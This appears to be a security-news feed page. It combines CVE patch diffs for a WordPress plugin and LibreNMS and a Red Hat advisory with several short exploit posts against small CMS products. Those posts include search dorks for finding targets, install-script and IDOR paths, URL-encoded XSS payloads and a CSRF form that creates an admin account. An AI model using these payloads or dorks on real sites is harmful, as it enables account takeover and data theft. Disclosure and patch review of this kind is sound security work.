The User Submitted Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘user-submitted-content’ parameter in versions up to, and including, 20230809 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Timestamp:

08/11/2023 10:14:44 PM (10 days ago)

specialk

Message:

Updates plugin to version 20230811  

Location:

user-submitted-posts

Files:

  

*   tags/20230811 _(copied from user-submitted-posts/trunk)_
*   tags/20230811/library/plugin-display.php (1 diff)
*   tags/20230811/library/shortcode-misc.php (3 diffs)
*   tags/20230811/readme.txt (2 diffs)
*   tags/20230811/user-submitted-posts.php (2 diffs)
*   trunk/library/plugin-display.php (1 diff)
*   trunk/library/shortcode-misc.php (3 diffs)
*   trunk/readme.txt (2 diffs)
*   trunk/user-submitted-posts.php (2 diffs)

**Legend:**

Unmodified

Added

Removed

*   **user-submitted-posts/tags/20230811/library/plugin-display.php**
    
    r2944386
    
    r2952471
    
     
    
    739
    
    739
    
    <pre>class  = classes for the parent element (optional, default: none)
    
    740
    
    740
    
    value  = link text (optional, default: "Reset form")
    
    741
    
     
    
    url    = the URL where your form is displayed (required, default: none)
    
    742
    
     
    
    custom = any attributes or custom code for the link element (optional, default: none)</pre>
    
     
    
    741
    
    url    = the URL where your form is displayed (required, default: none)</pre>
    
    743
    
    742
    
                                    <p><?php esc\_html\_e('Note that the url attribute accepts', 'usp'); ?> <code>%%current%%</code> <?php esc\_html\_e('to get the current URL.', 'usp'); ?></p>
    
    744
    
    743
    
                                </div>
    
*   **user-submitted-posts/tags/20230811/library/shortcode-misc.php**
    
    r2951862
    
    r2952471
    
     
    
    9
    
    9
    
            value  = link text (optional, default: "Reset form")
    
    10
    
    10
    
            url    = the URL where your form is displayed (can use %%current%% for current URL)
    
    11
    
     
    
            custom = any attributes or custom code for the link element
    
    12
    
    11
    
       
    
    13
    
    12
    
    \*/
    
    …
    
    …
    
     
    
    15
    
    14
    
       
    
    16
    
    15
    
        extract(shortcode\_atts(array(
    
    17
    
     
    
            'class'  => '',
    
    18
    
     
    
            'value'  => \_\_('Reset form', 'usp'),
    
    19
    
     
    
            'url'    => '#please-check-shortcode',
    
    20
    
     
    
            'custom' => '',
    
     
    
    16
    
            'class' => '',
    
     
    
    17
    
            'value' => \_\_('Reset form', 'usp'),
    
     
    
    18
    
            'url'   => '#please-check-shortcode',
    
    21
    
    19
    
        ), $args));
    
    22
    
    20
    
       
    
    …
    
    …
    
     
    
    35
    
    33
    
        $class = empty($class) ? '' : ' class="'. esc\_attr($class) .'"';
    
    36
    
    34
    
       
    
    37
    
     
    
        $output = '<p'. $class .'><a href="'. esc\_url($href) .'"'. esc\_attr($custom) .'\>'. esc\_html($value) .'</a></p>';
    
     
    
    35
    
        $output = '<p'. $class .'><a href="'. esc\_url($href) .'"\>'. esc\_html($value) .'</a></p>';
    
    38
    
    36
    
       
    
    39
    
    37
    
        return $output;
    
*   **user-submitted-posts/tags/20230811/readme.txt**
    
    r2951862
    
    r2952471
    
     
    
    11
    
    11
    
    Requires at least: 4.6
    
    12
    
    12
    
    Tested up to: 6.3
    
    13
    
     
    
    Stable tag: 20230809
    
    14
    
     
    
    Version:    20230809
    
     
    
    13
    
    Stable tag: 20230811
    
     
    
    14
    
    Version:    20230811
    
    15
    
    15
    
    Requires PHP: 5.6.20
    
    16
    
    16
    
    Text Domain: usp
    
    …
    
    …
    
     
    
    819
    
    819
    
    820
    
    820
    
     
    
    821
    
    \*\*20230811\*\*
    
     
    
    822
    
     
    
    823
    
    \* Removes \`$custom\` variable from \`usp\_reset\_button\_shortcode()\`
    
     
    
    824
    
    \* Tests on WordPress 6.3
    
     
    
    825
    
    821
    
    826
    
    \*\*20230809\*\*
    
    822
    
    827
    
*   **user-submitted-posts/tags/20230811/user-submitted-posts.php**
    
    r2951862
    
    r2952471
    
     
    
    11
    
    11
    
        Requires at least: 4.6
    
    12
    
    12
    
        Tested up to: 6.3
    
    13
    
     
    
        Stable tag: 20230809
    
    14
    
     
    
        Version:    20230809
    
     
    
    13
    
        Stable tag: 20230811
    
     
    
    14
    
        Version:    20230811
    
    15
    
    15
    
        Requires PHP: 5.6.20
    
    16
    
    16
    
        Text Domain: usp
    
    …
    
    …
    
     
    
    39
    
    39
    
    40
    
    40
    
    if (!defined('USP\_WP\_VERSION')) define('USP\_WP\_VERSION', '4.6');
    
    41
    
     
    
    if (!defined('USP\_VERSION'))    define('USP\_VERSION', '20230809');
    
     
    
    41
    
    if (!defined('USP\_VERSION'))    define('USP\_VERSION', '20230811');
    
    42
    
    42
    
    if (!defined('USP\_PLUGIN'))     define('USP\_PLUGIN', esc\_html\_\_('User Submitted Posts', 'usp'));
    
    43
    
    43
    
    if (!defined('USP\_FILE'))       define('USP\_FILE', plugin\_basename(\_\_FILE\_\_));
    
*   **user-submitted-posts/trunk/library/plugin-display.php**
    
    r2944386
    
    r2952471
    
     
    
    739
    
    739
    
    <pre>class  = classes for the parent element (optional, default: none)
    
    740
    
    740
    
    value  = link text (optional, default: "Reset form")
    
    741
    
     
    
    url    = the URL where your form is displayed (required, default: none)
    
    742
    
     
    
    custom = any attributes or custom code for the link element (optional, default: none)</pre>
    
     
    
    741
    
    url    = the URL where your form is displayed (required, default: none)</pre>
    
    743
    
    742
    
                                    <p><?php esc\_html\_e('Note that the url attribute accepts', 'usp'); ?> <code>%%current%%</code> <?php esc\_html\_e('to get the current URL.', 'usp'); ?></p>
    
    744
    
    743
    
                                </div>
    
*   **user-submitted-posts/trunk/library/shortcode-misc.php**
    
    r2951862
    
    r2952471
    
     
    
    9
    
    9
    
            value  = link text (optional, default: "Reset form")
    
    10
    
    10
    
            url    = the URL where your form is displayed (can use %%current%% for current URL)
    
    11
    
     
    
            custom = any attributes or custom code for the link element
    
    12
    
    11
    
       
    
    13
    
    12
    
    \*/
    
    …
    
    …
    
     
    
    15
    
    14
    
       
    
    16
    
    15
    
        extract(shortcode\_atts(array(
    
    17
    
     
    
            'class'  => '',
    
    18
    
     
    
            'value'  => \_\_('Reset form', 'usp'),
    
    19
    
     
    
            'url'    => '#please-check-shortcode',
    
    20
    
     
    
            'custom' => '',
    
     
    
    16
    
            'class' => '',
    
     
    
    17
    
            'value' => \_\_('Reset form', 'usp'),
    
     
    
    18
    
            'url'   => '#please-check-shortcode',
    
    21
    
    19
    
        ), $args));
    
    22
    
    20
    
       
    
    …
    
    …
    
     
    
    35
    
    33
    
        $class = empty($class) ? '' : ' class="'. esc\_attr($class) .'"';
    
    36
    
    34
    
       
    
    37
    
     
    
        $output = '<p'. $class .'><a href="'. esc\_url($href) .'"'. esc\_attr($custom) .'\>'. esc\_html($value) .'</a></p>';
    
     
    
    35
    
        $output = '<p'. $class .'><a href="'. esc\_url($href) .'"\>'. esc\_html($value) .'</a></p>';
    
    38
    
    36
    
       
    
    39
    
    37
    
        return $output;
    
*   **user-submitted-posts/trunk/readme.txt**
    
    r2951862
    
    r2952471
    
     
    
    11
    
    11
    
    Requires at least: 4.6
    
    12
    
    12
    
    Tested up to: 6.3
    
    13
    
     
    
    Stable tag: 20230809
    
    14
    
     
    
    Version:    20230809
    
     
    
    13
    
    Stable tag: 20230811
    
     
    
    14
    
    Version:    20230811
    
    15
    
    15
    
    Requires PHP: 5.6.20
    
    16
    
    16
    
    Text Domain: usp
    
    …
    
    …
    
     
    
    819
    
    819
    
    820
    
    820
    
     
    
    821
    
    \*\*20230811\*\*
    
     
    
    822
    
     
    
    823
    
    \* Removes \`$custom\` variable from \`usp\_reset\_button\_shortcode()\`
    
     
    
    824
    
    \* Tests on WordPress 6.3
    
     
    
    825
    
    821
    
    826
    
    \*\*20230809\*\*
    
    822
    
    827
    
*   **user-submitted-posts/trunk/user-submitted-posts.php**
    
    r2951862
    
    r2952471
    
     
    
    11
    
    11
    
        Requires at least: 4.6
    
    12
    
    12
    
        Tested up to: 6.3
    
    13
    
     
    
        Stable tag: 20230809
    
    14
    
     
    
        Version:    20230809
    
     
    
    13
    
        Stable tag: 20230811
    
     
    
    14
    
        Version:    20230811
    
    15
    
    15
    
        Requires PHP: 5.6.20
    
    16
    
    16
    
        Text Domain: usp
    
    …
    
    …
    
     
    
    39
    
    39
    
    40
    
    40
    
    if (!defined('USP\_WP\_VERSION')) define('USP\_WP\_VERSION', '4.6');
    
    41
    
     
    
    if (!defined('USP\_VERSION'))    define('USP\_VERSION', '20230809');
    
     
    
    41
    
    if (!defined('USP\_VERSION'))    define('USP\_VERSION', '20230811');
    
    42
    
    42
    
    if (!defined('USP\_PLUGIN'))     define('USP\_PLUGIN', esc\_html\_\_('User Submitted Posts', 'usp'));
    
    43
    
    43
    
    if (!defined('USP\_FILE'))       define('USP\_FILE', plugin\_basename(\_\_FILE\_\_));
    

**Note:** See TracChangeset for help on using the changeset viewer.

CVE-2023-4308: Changeset 2952471 for user-submitted-posts – WordPress Plugin Repository

Cross-site Scripting (XSS) - Reflected in GitHub repository librenms/librenms prior to 23.8.0.

Expand Up

@@ -113,20 +113,20 @@ function formatUnits(units,decimals,display,base) {

post: function ()

{

return {

device\_id: '<?php echo $vars\['device\_id'\] ?? ''; ?>',

device\_id: '<?php echo htmlspecialchars($vars\['device\_id'\] ?? ''); ?>',

hostname: '<?php echo htmlspecialchars($vars\['hostname'\] ?? ''); ?>',

state: '<?php echo $vars\['state'\] ?? ''; ?>',

ifSpeed: '<?php echo $vars\['ifSpeed'\] ?? ''; ?>',

ifType: '<?php echo $vars\['ifType'\] ?? ''; ?>',

port\_descr\_type: '<?php echo $vars\['port\_descr\_type'\] ?? ''; ?>',

ifAlias: '<?php echo $vars\['ifAlias'\] ?? ''; ?>',

location: '<?php echo $vars\['location'\] ?? ''; ?>',

disabled: '<?php echo $vars\['disabled'\] ?? ''; ?>',

ignore: '<?php echo $vars\['ignore'\] ?? ''; ?>',

deleted: '<?php echo $vars\['deleted'\] ?? ''; ?>',

errors: '<?php echo $vars\['errors'\] ?? ''; ?>',

group: '<?php echo $vars\['group'\] ?? ''; ?>',

devicegroup: '<?php echo $vars\['devicegroup'\] ?? ''; ?>',

state: '<?php echo htmlspecialchars($vars\['state'\] ?? ''); ?>',

ifSpeed: '<?php echo htmlspecialchars($vars\['ifSpeed'\] ?? ''); ?>',

ifType: '<?php echo htmlspecialchars($vars\['ifType'\] ?? ''); ?>',

port\_descr\_type: '<?php echo htmlspecialchars($vars\['port\_descr\_type'\] ?? ''); ?>',

ifAlias: '<?php echo htmlspecialchars($vars\['ifAlias'\] ?? ''); ?>',

location: '<?php echo htmlspecialchars($vars\['location'\] ?? '') ?>',

disabled: '<?php echo htmlspecialchars($vars\['disabled'\] ?? ''); ?>',

ignore: '<?php echo htmlspecialchars($vars\['ignore'\] ?? ''); ?>',

deleted: '<?php echo htmlspecialchars($vars\['deleted'\] ?? ''); ?>',

errors: '<?php echo htmlspecialchars($vars\['errors'\] ?? ''); ?>',

group: '<?php echo htmlspecialchars($vars\['group'\] ?? ''); ?>',

devicegroup: '<?php echo htmlspecialchars($vars\['devicegroup'\] ?? ''); ?>',

};

},

url: '<?php echo route('table.ports') ?>'

Expand Down

CVE-2023-4347: Fix unsanitized input injection (#15184) · librenms/librenms@91c57a1

Red Hat Security Advisory 2023-4625-01 - Red Hat OpenShift Service Mesh is Red Hat's distribution of the Istio service mesh project, tailored for installation into an on-premise OpenShift Container Platform installation.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: Red Hat OpenShift Service Mesh Containers for 2.4.2 security update  
Advisory ID:       RHSA-2023:4625-01  
Product:           Red Hat OpenShift Service Mesh  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4625  
Issue date:        2023-08-11  
CVE Names:         CVE-2023-2828 CVE-2023-35941 CVE-2023-35943   
                   CVE-2023-35944   
=====================================================================

1. Summary:

Red Hat OpenShift Service Mesh 2.4.2 Containers

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Description:

Red Hat OpenShift Service Mesh is Red Hat's distribution of the Istio  
service mesh project, tailored for installation into an on-premise  
OpenShift Container Platform installation.

Security Fix(es):

* envoy: OAuth2 credentials exploit with permanent validity  
(CVE-2023-35941)

* envoy: Incorrect handling of HTTP requests and responses with mixed case  
schemes (CVE-2023-35944)

* envoy: CORS filter segfault when origin header is removed  
(CVE-2023-35943)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

3. Solution:

Before applying this update, make sure all previously released errata  
relevant to your system have been applied.

For details on how to apply this update, refer to:

https://access.redhat.com/articles/11258

4. Bugs fixed (https://bugzilla.redhat.com/):

2217977 - CVE-2023-35941 envoy: OAuth2 credentials exploit with permanent validity  
2217985 - CVE-2023-35944 envoy: Incorrect handling of HTTP requests and responses with mixed case schemes  
2217987 - CVE-2023-35943 envoy: CORS filter segfault when origin header is removed

5. References:

https://access.redhat.com/security/cve/CVE-2023-2828  
https://access.redhat.com/security/cve/CVE-2023-35941  
https://access.redhat.com/security/cve/CVE-2023-35943  
https://access.redhat.com/security/cve/CVE-2023-35944  
https://access.redhat.com/security/updates/classification/#important

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk1pgEAAoJENzjgjWX9erEdf8P/R2dp7OtPRZPuUU1x21pHihH  
Ks8Pu3HrM3aWGm6GBBEeEJ/kw+S/Jjiy+L06w1NuzemAUfP/tTkqlRTjyqmCZpwk  
JjwmO3ee7Z8Lz+LJbLPa2EX+h0hNbyP0xn58Z82fZdfJcCM696fzNIvYMwoJEgp0  
wB/T3ZI625iNN4gWJrV1w4IbyvVXJ1J3RC+gYW8i2IfpR+1jeNQ0RAbgjSSEYGZO  
HvwWuvwx8JYlPDHuXZbG9IkSngOl+W8rULiQVUr1adClGl9lFiYBservNLJ2Kt2E  
obkiqsZRPhPmLiSM9xJPHM3y3eqVJgAjFIUzzbiFEDfE8jnZza1rnEE1sCoZk+p8  
/8HQnPdNK6GKMbxpAFQRTvL3Cjy8NnWFqf44RvjX212SlCnNxw+cQnYF3XhtH+uc  
6Z2ALAgbW5k3smrWAnS2W4uaJdKVX6RBDewDe4BeXxq5kAwsjtDfGOtacl4Gj8Ia  
UEUopVSdpr83/BQwD6T1F33A8IkDWMl5cIOB3ZpnoYkNvkAAM65vrOfIIcxN1AfD  
j4LTNmRoVGl3SgVxbDZTb/d1nhwq5fAYZfYfyHIoGYt7dPUUC/z4LNFwuGWGRqfo  
fqpoA40Ja6hCphgueK4LeH+yGKvQCK1eftSSA3zXqn1EKa7P59LzfPZunyS56Kh/  
pEqFz6KLYjjapPMGqs6Q  
=ffX8  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4625-01

BookingWizz version 6.0.1 suffers from an information leakage vulnerability.

    ====================================================================================================================================| # Title     : BookingWizz v6.0.1 sensitive information disclosure Vulnerability                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit)                                             | | # Vendor    : https://codecanyon.net/item/booking-system/87919?s_rank=9                                                          |  | # Dork      : "BookingWizz v6.0"                                                                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] The error is from the developer, as it does not warn you to delete the installation file after completion, or it is deleted automatically.[+] When you add install file they show you the real user and pass for admin panel.[+] Use Payload : /install.php[+] https://127.0.0.1therazorsedgebarberscom/tiff/install.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

BookingWizz 6.0.1 Information Disclosure

DBCInfoTech CMS version 2.0 suffers from an unauthenticated administrator reinstall vulnerability.

    ====================================================================================================================================| # Title     : dbcinfotech CMS v2.0 Reinstall Script Vulnerability                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://www.themeslide.com/whizclassified-classifieds-cms/                                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Reinstall the site manager settings including resetting a new password.    because after the first installation, The setup file was not deleted automatically or by the website owner.    the installation file repeats the installation process.[+] use payload : /index.php/en/install/accountsetup[+] http://127.0.0.1/aphroditepaphiascom/index.php/en/install/accountsetupGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

DBCInfoTech CMS 2.0 Administrator Reinstall

Education Time Indonesian School CRM version 1.7 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Education Time Indonesian School CRM v 1.7 Xss Vulnerability                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://p30vel.ir                                                                                                   |  | # Dork      : "media.php?module=detailberita&id="                                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] use payload : /unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/ramadan%20mubark/)%3C/ScRiPt%3E&module=detailberita/unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(908942)%3C/ScRiPt%3E&module=detailberita[+] http://wwumpalangkarayaacid//unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/ramadan%20mubark/)%3C/ScRiPt%3E&module=detailberita/unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(908942)%3C/ScRiPt%3E&module=detailberitaGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Education Time Indonesian School CRM 1.7 Cross Site Scripting

Eden CMS version 1.02 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Eden CMS v1.02 Xss Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://edendesign.be/fr/                                                                                          |  | # Dork      : intext:"Website by Eden Design"                                                                                    |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : artist.php?lang_id=1%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E&post_id=352[+]  http://www/miniartextilit/artist.php?lang_id=1%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E&post_id=352        Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Eden CMS 1.02 Cross Site Scripting

Ecommerce Responsive version 1.2 suffers from an insecure direct object reference vulnerability.

    ====================================================================================================================================| # Title     : Ecommerce Responsive v1.2 Insecure Direct Object Reference Vulnerability                                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 62.0.3 (32-bit)                                            || # Vendor    : https://codecanyon.net/item/ecommerce-responsive-ecommerce-business-management-script/21413994                     |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] Any visitor can export and download a subscriber list .[+] use payload : /admin/subscriber-csv.php[+] https://www/demoslycom/xicia/cc/ecommerce/admin/subscriber-csv.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Ecommerce Responsive 1.2 Insecure Direct Object Reference

E-Biz CMS version 2.0 suffers from a cross site request forgery vulnerability.

====================================================================================================================================  
| # Title     : E-Biz CMS v2.0 CSRF Vulnerability                                                                                  |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               |   
| # Vendor    : https://softech.pk/                                                                                                |    
| # Dork      : Copyright © 2019, Designed By SOFTECH                                                                              |  
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code create a new admin .

[+] Go to the line 17.

[+] Set the target site link Save changes and apply . 

[+] infected file : /add_user.php.

[+] http://127.0.0.1/q7.3/softpanel/add_user.php.

[+] save code as poc.html .

    <h1>Add User</h1>  
    </div>  
      
    <div class="site">  
      <div class="container">  
        <div class="grid-16">

                          <div class="widget" >  
            <div class="widget-header"> <span class="icon-wrench"></span>  
              <h3>Add User </h3>  
            </div>  
              
            <div class="widget-content">  
                
                
                
              <form action="http://aosccom/softpanel/add_user.php" method="post" enctype="multipart/form-data" name="" class="form uniformForm validateForm">  
                <table width="650" border="0" align="center" cellpadding="0" cellspacing="0">  
                  <tr>  
                    <td width="527" align="left"><strong>Name : </strong></td>  
                  </tr>  
                  <tr>  
                    <td><input name="name" value="" class="validate[required]" type="text" id="name" size="50"></td>  
                  </tr>  
                  <tr>  
                    <td><strong>Email :</strong> </td>  
                  </tr>  
                  <tr>  
                    <td><span class="field">  
                      <input name="email"  type="text" id="date"  class="validate[required,custom[email]" size="50" />  
                    </span></td>  
                  </tr>  
                  <tr>  
                    <td><strong>Password :</strong></td>  
                  </tr>  
                  <tr>  
                    <td><div class="field">  
                    <input name="password"  type="text" id="date_English" class="validate[required]" size="50" />          
                  </div> </td>  
                  </tr>  
                  <tr>  
                    <td><strong>Access : </strong></td>  
                  </tr>  
                  <tr>  
                    <td><select name="type" id="type" >  
                        <option value="user" selected="selected">User</option>  
                      <option value="admin">Admin</option>  
                    </select>                           </td>  
                  </tr>  
                  <tr id="link">  
                    <td><table width="100%" border="0" cellspacing="0" cellpadding="0">  
                        <tr>  
                          <td height="30"><strong id="">Privileges:</strong></td>  
                        </tr>  
                        <tr>  
                          <td align="center" valign="middle"><table width="400" border="0" align="center" cellpadding="0" cellspacing="0">

                                                        <tr>  
                              <td width="54%" height="25" align="left"><table width="150" border="0" cellspacing="0" cellpadding="0">  
                                <tr>  
                                  <td height="25"><label for="label">Company News</label></td>  
                                  <td width="10"><input type="checkbox" id="new" name="news" value="Y" onClick="news.value=(this.checked)?'Y':'N'"></td>  
                                </tr>                                <tr>  
                                  <td height="25">Home Banners</td>  
                                  <td><input type="checkbox" id="ban" name="banners" value="Y" onClick="banners.value=(this.checked)?'Y':'N'" ></td>  
                                </tr>                                 <tr>  
                                  <td height="25">Gallery</td>  
                                  <td><input type="checkbox" id="gal" name="gallery" value="Y"  onClick="gallery.value=(this.checked)?'Y':'N'"></td>  
                                </tr>                                <tr>  
                                  <td height="25"><label for="sim">Simple Gallery</label></td>  
                                  <td><input type="checkbox" id="gallery" name="simple_gallery" value="Y"  onClick="simple_gallery.value=(this.checked)?'Y':'N'"></td>  
                                </tr>                                                                                                                                                                                                                              <tr>  
                                  <td height="25">Pages</td>  
                                  <td><input name="pages" type="checkbox" id="pages"onClick="pages.value=(this.checked)?'Y':'N'" value="checkbox" checked></td>  
                                </tr>                                 <tr>  
                                  <td height="25">Newsletter</td>  
                                  <td><input name="newsletter" type="checkbox" id="newsletter"onClick="newsletter.value=(this.checked)?'Y':'N'" value="checkbox" checked></td>  
                                </tr>                                                                  <tr>  
                                  <td height="25">Categories</td>  
                                  <td><input name="categories" type="checkbox" id="categories" onClick="categories.value=(this.checked)?'Y':'N'" value="checkbox" checked></td>  
                                </tr>                                                             </table>                                </td>  
                            </tr>

                                                      </table>                            </td>  
                        </tr>  
                      </table></td>  
                  </tr>  
                  <tr>  
                    <td></td>  
                  </tr>  
                  <tr>  
                    <td></td>  
                  </tr>

                                                      <tr>  
                    <td>&nbsp;</td>  
                  </tr>  
                </table>  
                </td>  
                  </tr>  
                  <tr>  
                    <td></td>  
                  </tr>  
                  <tr>  
                    <td>&nbsp;</td>  
                  </tr>  
                  <tr>  
                    <td></td>  
                  </tr>  
                  <tr>  
                    <td>                                          </td>  
                  </tr>  
                  <tr>  
                    <td>&nbsp;</td>  
                  </tr>  
                  <tr>  
                    <td><button  name="save"class="btn btn-primary"><span class="icon-move-alt2"></span>Save</button>

  <button type="reset" class="btn btn-primary"><span class="icon-move-horizontal-alt2"></span>Cancel</button></td>  
                  </tr>  
                </table>  
              </form>  
            </div>

Greetings to :=================================================================  
jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |  
===============================================================================

E-Biz CMS 2.0 Cross Site Request Forgery

EasyPX CMS version 06.02.04 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : EasyPX CMS V06.02.04 XSS Vulnerability                                                                             || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://www.domphp.com/                                                                                             || # Dork      : Site fonctionnant sous Easy PX 41 CMOS 06.02.04 © 2004 - 2006 Freeware                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This vulnerability affects : /tst/index.php    URL encoded POST input choixgalerie was set to 1" onmouseover=prompt(951655) bad="    The input is reflected inside a tag parameter between double quotes.    URL encoded POST input pg was set to system/fnc/readpg.php'"()&%<ScRiPt >prompt(940614)</ScRiPt>    URL encoded POST input pg was set to modules/login/inscription.php'"()&%<ScRiPt >prompt(904457)</ScRiPt>    URL encoded POST input pg_id was set to http://www.generation-libre.com/index2.php%3foption%3dcom_rss'"()&%<ScRiPt >prompt(920742)</ScRiPt>    URL encoded POST input pg_title was set to RSS'"()&%<ScRiPt >prompt(963497)</ScRiPt>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Tag

#php